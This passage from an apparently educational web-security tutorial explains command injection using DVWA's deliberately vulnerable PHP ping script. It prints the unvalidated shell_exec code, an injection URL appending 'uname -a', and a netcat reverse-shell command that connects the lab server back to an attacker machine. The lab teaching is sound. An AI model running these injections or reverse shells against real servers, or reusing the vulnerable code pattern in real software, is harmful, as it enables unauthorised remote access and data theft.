Command injection

Web applications, which are dynamic in nature, may use scripts to invoke some functionality within the operating system on the web server to process the input received from the user. An attacker may try to get this input processed at the command line by circumventing the input validation filters implemented by the application. Command injection usually invokes commands on the same web server, but it is possible that the command can be executed on a different server, depending on the architecture of the application.

Let's take a look at a simple code snippet, that is vulnerable to a command injection flaw, taken from DVWA's command injection exercise. It is a very simple script that receives an IP address and sends pings (ICMP packets) to that address:

<?php 
  $target = $_REQUEST[ 'ip' ]; 
  $cmd = shell_exec( 'ping  -c 3 ' . $target ); 
  $html .= '<pre>'.$cmd.'</pre>'; 
  echo $html; 
?> 

As you can see, there is no input validation before accepting the ip parameter from the user, which makes this code vulnerable to a command injection attack. To log in to DVWA, the default credentials are admin/admin.

A malicious user might use the following request to pipe in additional commands, which the application would accept without raising an exception:

http://server/page.php?ip=127.0.0.1;uname -a

The application takes the value of the user input from the client without validation and concatenates it to the ping -c 3 command in order to build the final command that is run on the web server. The response from the server is shown in the following screenshot. The version of the underlying OS is displayed along with the result of pinging the given address as the application failed to validate the user input:

The additional command injected will run using the privileges of the web server. Most web servers nowadays run with restricted privileges, but even with limited rights, the attacker can exploit and steal significant information.

Command injection can be used to make the server download and execute malicious files by injecting the wget commands, or to gain a remote shell to the server, as demonstrated in the following example.

First, set up a listener in Kali Linux. Netcat has a very simple way of doing this:

nc -lvp 12345  

Kali Linux is now set to listen for a connection on port 12345. Next, inject the following command into the vulnerable server:

nc.traditional -e /bin/bash 10.7.7.4 12345 

On some modern Linux systems, the original Netcat has been replaced by a version that doesn't include some options that may have posed a security risk, such as -e, which allows the execution of commands upon connection. These systems often include the traditional version of Netcat in a command called nc.traditional. When trying to use Netcat to gain access to a remote system, try both options.

Notice that 10.7.7.4 is the IP address of the Kali machine in the example, and 12345 is the TCP port listening for the connection. After sending the request, you should receive the connection in your Kali Linux and be able to issue commands in a noninteractive shell:

A noninteractive shell allows you to execute commands and see the results, but not interact with the commands nor see the error output, such as when using a text editor.